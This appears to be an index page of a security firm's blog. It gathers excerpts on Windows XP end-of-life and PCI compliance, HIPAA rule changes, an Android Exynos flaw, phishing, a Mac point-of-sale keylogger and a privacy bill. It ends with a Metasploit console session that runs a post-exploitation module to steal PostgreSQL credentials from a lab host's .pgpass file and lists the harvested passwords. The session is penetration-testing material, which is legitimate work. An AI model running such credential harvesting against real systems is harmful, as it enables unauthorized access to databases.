403 Blogs

Securities are offered through Sikich Corporate Finance LLC, a registered broker dealer with the Securities Exchange Commission and a member of FINRA/SIPC.

Inspecting SSL SANs is a recon technique every penetration tester should have in his or her toolbox. These new modules should save some time when trying to uncover additional information about a target.

All the details have yet to shake out of this story, and we may not get many more specifics from the tight-lipped intelligence community. In the meantime, if you’re concerned about your privacy, here are some tips to keeping on the safe side of things. Even with those steps, the safest assumption sounds like the most paranoid (and the most security-minded): Conduct your business on the Internet as if someone is always listening.

While a number of people feel the anticipated changes will make certain requirements more stringent, Jacob points out that, “Some of the changes that look like an increase in rigor on a specific requirement are already happening with forward-thinking and rigorous assessors.”

Always assume that anyone who has access to log into your XenServer most likely has the privileges to view the stored “secrets” and the clear-text passwords and may use those credentials to further penetrate your infrastructure

We’ll see you September 24–26 in Las Vegas, Nevada and October 29–31 in Nice, France!

Our friend and colleague, Walt Conway, posted [a great column on the Windows XP sunset](http://storefrontbacktalk.com/securityfraud/windows-xp-end-of-life-could-cripple-pci-compliance/) over at StorefrontBacktalk in February. For those of you who aren’t aware, the support lifecycle for Windows XP comes to an end [one year from today](http://support.microsoft.com/lifecycle/?ln=en-us&c2=1173). Twelve months may seem far off, but if you depend on these systems within a secure environment, or one subject to any sort of regulatory compliance, you’d better have had a transition plan in place yesterday. We hope to make enough noise about this issue that nobody can ignore it. There are a few particular points regarding this looming date that we’d like to raise a clamor about: 1. We’ve been here before and we’ll be here again. Microsoft’s support lifecycle for every one of their products [is published](http://support.microsoft.com/lifecycle/), and has been for years. Yet, when one of their operating systems reaches the end of that lifecycle, it’s always a shock to a large number of people. We’ve seen this effect as recently as 2010. In July of that year, Windows 2000 went end-of-life (EOL). Although the operating system (OS) was 10 years old at that point, there were still a large number of Windows 2000 machines out there (and our penetration testers still find some on occasion!). However, we expect that the impact for XP will be significantly greater. We fear that it will be a victim of its own success, and Vista’s failure. When Windows XP was launched on December 31, 2001, it was adopted pretty quickly. For enterprise environments, it was an improvement on Windows 2000 Professional, and for consumers and small business, it was a vast improvement over Windows 98/ME. When Windows Vista launched, it was panned by critics and abhorred by system administrators. While Windows 7 has been much better received (jury is still out on Windows 8), the fracas caused by Vista meant that many were holding on to XP as long as they could. For some, “as long as they could” translates to April 8, 2014. Once those users get that date behind them, there will be a few more that they’ll want to put on the calendar. Here are some notable EOL dates from Microsoft: + 07.14.2015 – Windows Server 2003 + 01.12.2016 – Windows XP Embedded + 04.11.2017 – Windows Vista + 01.14.2020 – Windows 7 + 01.14.2020 – Windows Server 2008 and 2008 R2 2. For a select few, there may be a loophole. One date you may notice up there is the one for Windows XP Embedded. For some point of sale (POS) system users, this could represent a temporary loophole. However, many POS systems run on the garden variety of XP. If you’re running XP Embedded, the fact that this version was released after the general release and is designed for longer-life systems just bought you a little more time (don’t waste it). 3. Regarding whether an EOL OS is noncompliant, the Payment Card Industry Security Standards Council (PCI SSC) has come down on both sides of the argument, with caveats for each. One of Walt’s points in his column is that the PCI Data Security Standard (DSS) does not explicitly bar an organization from using an EOL operating system. The PCI DSS contains specific requirements (see Requirement 6) calling for installation of vendor-supplied patches to address vulnerabilities. An OS which is no longer supported does not have such patches available, but nowhere does the phrase “end-of-life” appear in the standard. This is absolutely true. The standard does not explicitly state that EOL operating systems are noncompliant. In fact, the PCI SSC answers this question in their [FAQ](https://www.pcisecuritystandards.org/faq/): >Would older operating systems that are no longer supported by the vendor be deemed non-compliant with the PCI DSS? >FAQ Response >Systems that use operating systems that are no longer supported with new security patches by the vendor, OEM, or developer are not necessarily out of compliance. Compensating controls could address risks posed by using older operating systems… The FAQ goes on to spell out a potential path for a compensating control. However, compensating controls can get tricky. Compensating controls are required to actually go “above and beyond” the requirements, not simply provide alternative risk mitigation to meeting them. For instance, when a newly discovered remote exploit is published, meeting the requirement may involve patching the software to prevent that single vulnerability. Going above and beyond could be removing that system’s network connection entirely, to prevent this exploit or any other remote vulnerabilities from being executed. When we went through the Windows 2000 EOL period, we dealt with a number of organizations attempting to leverage compensating controls in order to keep their Win2k systems running in their cardholder data environment. The organizations posited that they could stay abreast of any newly published vulnerabilities and address them as they arose. While that concept may meet the letter of the PCI DSS requirements, it doesn’t quite meet that “above and beyond” benchmark. It may be possible, but it’s impractical to think that any mitigation could be as effective or efficient as that performed by the OS vendor. Don’t forget, actually implementing a system to keep on top of newly discovered vulnerabilities requires teams of engineers at Microsoft. It’s highly unlikely that another organization could do that more cost effectively than upgrading their OS. Although, if you’re based in the Redmond, WA area, there may be some XP engineers looking for work… If you’ve read this far, it looks like the PCI SSC is staying relatively neutral on the subject. Keep reading. For those who still wanted to pursue the compensating control option, we had another resource from the PCI SSC that we wanted to make sure they were aware of — the [ASV Program Guide](https://www.pcisecuritystandards.org/pdfs/asv_program_guide_v1.0.pdf). On page 15 of that guide begins a table of Required Components for PCI DSS Vulnerability Scanning. The second entry in that table, at the top of page 16, mandates that scans perform certain tests on identifiable operating systems. The column for “ASV Scan Solution must” contains this text: >The ASV scanning solution must also be able to determine the version of the operating system and whether it is an older version no longer supported by the vendor, in which case it must be marked as an automatic failure by the ASV. OS identification, as called for in this requirement, is more of an art than a science. It’s not 100% reliable. However, if you have an EOL operating system exposed to the Internet, and it’s able to be identified, you have trouble. Besides just the unpatched vulnerabilities this situation introduces into your environment, it will also cause an automatic failure of your scans. A failing scan means that Requirement 11.2.2 is not met. So there you have it; the PCI SSC stating that EOL operating systems identified in a vulnerability scan are noncompliant. While we’d hope the number of desktop operating systems, like Windows XP, exposed to the Internet would be low, we find a large number of them in our scans daily. Regardless of whether a system is exposed to the Internet or able to be identified in an ASV scan, that stipulation in the ASV Program Guide, combined with Requirement 6 of the PCI DSS, should be taken as a definitive statement – EOL operating systems are a no-go for PCI compliance. 4. This isn’t just a PCI issue. Walt’s piece focused on what impact the transition away from Windows XP will have on merchants running POS systems. However, PCI is not the only field in which this date is significant. Practically any regulation calling for the use of secure systems is going to require that known vulnerabilities be patched. For instance, while [HIPAA](http://www.403labs.com/compliance/hipaa) doesn’t explicitly set minimum requirements for an operating system, the Department of Health & Human Services [does spell out some things](http://www.hhs.gov/ocr/privacy/hipaa/faq/securityrule/2014.html) that need to be part of any systems that contain electronic protected health information (PHI). That requirement calls for the patching of vulnerabilities to be covered in an organization’s [risk assessment](http://www.403labs.com/professional_services/risk_assessments). If the manufacturer no longer publishes patches for vulnerabilities, that risk factor skyrockets. Windows XP served us well, but it’s time to put it out to pasture. We’ll continue to raise a ruckus about this upcoming transition. If you haven’t already, we’d suggest examining your options and putting a plan in place. If you’re not the one in your organization who makes those decisions, maybe you should consider making a ruckus too, to get their attention.

Whoo-hoo! We successfully decompressed our LZMA-compressed Squashfs! Now we have access to the uncompressed filesystem.

On January 17th, the [U.S. Department of Health and Human Services (HHS)](http://www.hhs.gov/) announced several changes to the [Health Insurance Portability and Accountability Act (HIPAA)](http://www.hhs.gov/ocr/privacy/). These changes, also known as the [Omnibus Rule](http://www.hhs.gov/ocr/privacy/hipaa/administrative/omnibus/index.html), amend and expand upon the [Health Information Technology for Economic and Clinical Health (HITECH)](http://www.hhs.gov/ocr/privacy/hipaa/administrative/enforcementrule/hitechenforcementifr.html) and the [Genetic Information Nondiscrimination Act of 2008](http://www.eeoc.gov/laws/types/genetic.cfm). The change that may have the biggest impact is the addition of a single word to the definition of “business associate” — subcontractors. By adding subcontractors into the definition, every entity, no matter how far removed from the originating organization, must comply with HIPAA if it handles protected health information (PHI). This will not only have a profound impact on new business agreements, but will also require current agreements to be amended or rewritten altogether. Another important addition to the regulation is the individual’s rights to affect how their information is treated. With the new rules in place, an individual can request his or her records in digital format and, when paying with cash, can instruct the provider not to share treatment information with the insurance company. There are also significant changes involving the determination of what constitutes a breach. In the past, an organization only had to report a breach if it felt that there was “significant risk” to the individual. With the new changes in place, this is reversed. The organization now has to prove there is a “low probability of risk” based upon a risk assessment. Leon Rodriguez from the Office of Civil Rights is calling this, “the most sweeping changes to HIPAA Privacy and Security Rules since they were first implemented.” The new updates will go into effect on March 26, 2013, and affected parties need to be compliant by September 23, 2013. If you've ever worked with a government regulation before, you know this is a very short timeframe so it is best to start planning now. For more information, you can review the [HHS press release](http://www.hhs.gov/news/press/2013pres/01/20130117b.html) or the [Final Rule document](http://www.hhs.gov/news/press/2013pres/01/20130117b.html) filed in the Federal Register.

I recently purchased a Samsung Galaxy Note II and have been thoroughly enjoying it. The number of diverse applications is pretty amazing. Unfortunately, a few days ago, a colleague passed an article along [detailing an exploit](http://thenextweb.com/mobile/2012/12/16/new-exploit-could-give-android-malware-apps-access-to-user-data-on-samsung-gs-iii-other-devices/) associated with my brand of phone. The exploit is connected to the [Exynos processor](http://en.wikipedia.org/wiki/Exynos_%28system_on_chip%29) and the capability to obtain access to all physical memory. This is a serious issue and there is currently [no complete solution available](http://forum.xda-developers.com/showthread.php?t=2053824). Given that the vulnerability is present on the Galaxy S III, S II, Galaxy Note, Galaxy Note II and potentially other devices, this problem could affect millions of users. Samsung has recently announced that it is [working on a fix](http://reviews.cnet.com/8301-19736_7-57560046-251/samsung-pledges-quick-fix-for-exynos-security-issue/) for the issue, but has not released anything yet. In the meantime, the best action to take is to avoid downloading any new applications until this problem has been corrected. It is also important to vet any possible solution first before jumping at it. The last thing anyone wants is to move from the frying pan into the fire. While it seems like this is an issue that only affects certain Samsung users, it should also be of interest to the IT departments of organizations. For organizations that allow employees to bring their own devices ([BYOD](http://blog.403labs.com/post/14871816854/happy-byod-day)), this could potentially create a very large problem wherein doorways are opened to internal networks. A vulnerability that comprises a phone is one thing; a vulnerability that could potentially lead to a [large-scale data breach](http://www.experian.com/blogs/data-breach/2012/11/01/byod-leads-to-data-breaches-in-the-workplace/) is another.

On Friday, December 14, Brian Krebs posted an entry titled, “[LogMeIn, DocuSign Investigate Breach Claims](http://krebsonsecurity.com/2012/12/logmein-docusign-investigate-breach-claims/)” to his blog, [Krebs on Security](http://krebsonsecurity.com/). Without completely repeating what he said, it appears several users of [LogMeIn remote access software](www.logmein.com/), as well as users of [DocuSign electronic signatures](www.docusign.com/), have reported an increase in malicious spam emails to the email addresses associated with the aforementioned products. In some cases, [users have reported](http://community.logmein.com/t5/Miscellaneous-Offtopic/LogMeIn-leaked-my-email-address/m-p/88610) that these email addresses are used exclusively for the purpose of LogMeIn or DocuSign. Due to the circumstances, people are speculating that DocuSign and LogMeIn have leaked users’ email addresses. For their part, both LogMeIn and DocuSign have stated that they are investigating the situation. There are a number of ways that email addresses can become public and it may be a little while before anyone outside of the companies in question has an accurate idea of how the email addresses were exposed. One thing known at this time is that individuals are reporting an uptick in targeted spam which attempts to run malicious code on the recipient’s computer. The malicious code associated with [spam and phishing campaigns](http://blog.403labs.com/post/13605793371/new-trends-in-spam-phishing-tug-right-at-your-purse) can be packaged into attachments or hyperlinks found within the email. It is often the case that tapping into peoples’ fears can cause them to do things they wouldn’t normally do. For example, an email claiming that money is owed to a bank or the IRS may be enough to convince someone to open an included attachment or click on a hyperlink that appears to go to one website, while in reality directs the user to another site of the attacker's choosing. Should you receive an email you don’t trust, it is almost always possible to contact the company that purported to send it and verify its authenticity. Many government organizations, banks, credit card companies and mail delivery services have fraud divisions that exist solely to be contacted in situations similar to this. In this case, [LogMeIn](http://help.logmein.com/SelfServiceTicketSupportSales?support=1&lang=en) and [DocuSign](http://www.docusign.com/spam) both have methods to report malicious email attempts. The fact that both of these products are being targeted should serve as a reminder that doing your due diligence is your best defense. Avoid clicking links or opening attachments from unsolicited emails. Instead, contact the company associated with the email first to verify its legitimacy. A little effort can save you a lot of trouble.

As a [Payment Card Industry Forensic Investigator (PFI)](https://www.pcisecuritystandards.org/approved_companies_providers/pfi_companies.php?company=403%20Labs,%20LLC), 403 Labs is constantly examining the latest attacks targeting POS systems. Of recent note is the discovery that **criminal organizations are shifting their focus to target POS systems running on the Apple Macintosh platform.** In the past 60 days, our active trending has seen a significant upswing in attacks on non-Windows POS systems. One of the attacks we’ve seen targeting the Mac platform has left it just as exposed as its Windows-based counterpart. Before I start a “Windows versus Mac” religious uproar, though, let me put some facts on the table. Since 2010, [keystroke loggers](http://treasuryinstitutepcidss.blogspot.com/2010/03/visas-keylogger-alert.html) have been a well-known area of concern within the POS community. With the right combination of card readers and a vulnerable Internet connection, we continually see attackers installing software-based keyloggers and successfully exporting magnetic track 1 and track 2 data from credit cards. Exported track data can easily be reprinted on credit cards and used fraudulently. What’s often not well-known is that there are several software-based keystroke loggers that are available to leverage against a Mac. Our experience has been that many are easy to use and configure. In our recent investigations, we found a new piece of malware that contains a Mac-based keylogger to capture credit card track data and automatically exfiltrate it to a remote server for harvesting at a later date. We spent a good amount of time examining the delivery of the malware and its encrypted configuration file. Based on our analysis, **it is obvious that this malware is configured for mass deployment.** While we all have our favorite operating system, the reality check is truly here—**you simply cannot rely on an operating system as a “shortcut” to meeting your PCI requirements.** In this case, the attack could have been detected or even stopped if: + A hardware-based firewall was installed. + The firewall was set up to prevent unwanted outbound traffic (i.e., whitelisting). + The card reader was not set to send clear-text data to the Mac. + Anti-virus/anti-malware programs were utilized to detect commonly known malware/keyloggers. The requirements of the [PCI Data Security Standard (PCI DSS)](https://www.pcisecuritystandards.org/documents/pci_dss_v2.pdf) don’t distinguish between Windows and Mac users. Neither do criminal organizations for that matter. Regardless of which operating system(s) your organization utilizes, meeting PCI requirements is a step in the right direction toward protecting yourself against these types of keylogger-based attacks.

Yesterday, the Senate Judiciary Committee [gave approval to a privacy bill](http://www.webpronews.com/senator-al-frankens-privacy-bill-is-approved-by-senate-committee-2012-12) sponsored by Sen. Al Franken (D-Minn.), known as the [Location Privacy Protection Act](http://www.govtrack.us/congress/bills/112/s1223). This bill, a revamped version of one Franken attempted to push forth in [2011](http://arstechnica.com/tech-policy/2011/06/frankens-location-privacy-bill-to-close-mobile-tracking-loopholes/), is aimed at putting control over your location data into your own hands. The thrust of the new bill is that location-enabled devices and apps will need to ask for a user’s consent before collecting location data. While many mobile apps already ask for that consent, it is not currently mandated. Google and Apple have long toiled over their location data policies, and I’m sure most of their customers have not bothered to read any of the updates that they’ve made to their terms of service. If passed, this bill will force them to make changes that put control over the sharing of location information fully into the hands of the users. Now that it’s out of committee, if it doesn’t become a political football, this bill may just pass, but only if it’s [good enough, smart enough, and doggone it, people like it](http://www.youtube.com/watch?v=-DIETlxquzY).

PCI DSS Requirement 12.1.2 tells merchants and service providers that they must prepare a formal risk assessment to identify threats and vulnerabilities that can impact the security of cardholder data. Unfortunately, at least based on my experience, many merchants struggle to respond properly to this requirement. The [PCI Council](https://www.pcisecuritystandards.org/index.php) has come to the rescue, however, by releasing the [PCI DSS Risk Assessment Guidelines](https://www.pcisecuritystandards.org/documents/PCI_DSS_Risk_Assmt_Guidelines_v1.pdf) detailing what should be in a well-designed risk assessment. As explained in the [press release](https://www.pcisecuritystandards.org/pdfs/pr_121116_risk_sig.pdf), the Guidelines document is the result of one of the three Special Interest Groups (SIGs) the PCI Security Standards Council (SSC) established this year (the reports of the Cloud Computing and ECommerce SIGs are drafted and their release is expected in the coming months). The PCI Risk Assessment SIG included merchants, acquirers and Qualified Security Assessors (QSAs) who worked throughout the year to develop the guidelines. There are lots of things I like about the SIG’s work and their recommendations. For example, the Guidelines document links to the [Prioritized Approach](https://www.pcisecuritystandards.org/documents/Prioritized_Approach_V2.0.pdf) used by many merchants, and points out that a risk assessment is included in the first milestone (i.e., it is included with the highest of the six priorities for PCI DSS compliance). I would add that a formal risk assessment is the only policy requirement to be included in the first, highest priority milestone, which should give everyone an idea of the importance the PCI SSC gives to the risk assessment. Another great feature is the Guidelines’ recommended methodology. I particularly recommend the practical elements in Table 1. The complex relationships between the likelihood of a threat, the ease with which that threat can be exploited, and the criticality of the targeted system are similarly well captured in Table 2.2. That table merits some thoughtful reflection (it’s complicated) by the risk assessment team. The section on third-party risks addresses a too-easily ignored area. One factor I wish they included more explicitly is the risk of a merchant’s security vendor being compromised. For example, what is the risk of a tokenization or encryption management or two-factor authentication provider being compromised? While the risk assessment recommendations mesh nicely with Requirement 12.8, merchants and service providers also need to include security vendors. The last element I would point out is that the Guidelines are very crisp and practical. Merchants and service providers will find it a useful document, so stop reading this and go [download it now](https://www.pcisecuritystandards.org/documents/PCI_DSS_Risk_Assmt_Guidelines_v1.pdf)!

msf> use post/multi/gather/pgpass_creds msf post(pgpass_creds) > info Name: Multi Gather pgpass Credentials Module: post/multi/gather/pgpass_creds Version: 0 Platform: Linux, BSD, Unix, OSX, Windows Arch: Rank: Normal Provided by: Zach Grace Description: This module will collect the contents of user's .pgpass or pgpass.conf and parse them for credentials. msf post(pgpass_creds) > set SESSION 1 SESSION => 1 msf post(pgpass_creds) > run [*] Finding pgpass creds [+] Downloading /home/msfadmin/.pgpass [+] Postgres credentials file saved to /home/ztg/.msf4/loot/20121107093431_default_192.168.149.134_postgres.pgpass_440054.txt Postgres Data ============= Host Port DB User Password ---- ---- -- ---- -------- 192.168.149.134 5432 * test Password1 192.168.149.135 5432 * postgres postgres [*] Post module execution completed msf post(pgpass_creds) > loot Loot ==== host service type name content info path ---- ------- ---- ---- ------- ---- ---- 192.168.149.134 postgres.pgpass /home/msfadmin/.pgpass text/plain pgpass /home/msfadmin/.pgpass file /home/ztg/.msf4/loot/20121107093431_default_192.168.149.134_postgres.pgpass_440054.txt msf post(pgpass_creds) > creds Credentials =========== host port user pass type active? ---- ---- ---- ---- ---- ------- 192.168.149.134 5432 test Password1 password true 192.168.149.134 5432 postgres postgres password true [*] Found 2 credentials.